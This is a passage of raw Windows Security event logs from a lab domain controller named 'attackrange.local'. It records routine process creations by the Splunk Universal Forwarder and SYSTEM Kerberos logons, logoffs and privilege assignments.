	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:08:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256251
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:08:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256254
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D7538

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:08:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256253
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3D7538
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51369

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:08:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256252
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D7538

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:08:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256255
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3D2E0F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:09:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256256
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:09:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256258
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1214
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:09:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256257
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:09:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256260
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:09:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256259
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x328
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:09:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256261
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:09:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256262
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256265
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3DAA8E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256264
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3DAA8E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51382

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:09:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256263
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3DAA8E

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:10:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256266
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa18
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:10:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256268
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:10:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256267
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:10:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256270
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:10:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256269
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf98
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:10:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256271
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x884
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:10:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256272
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
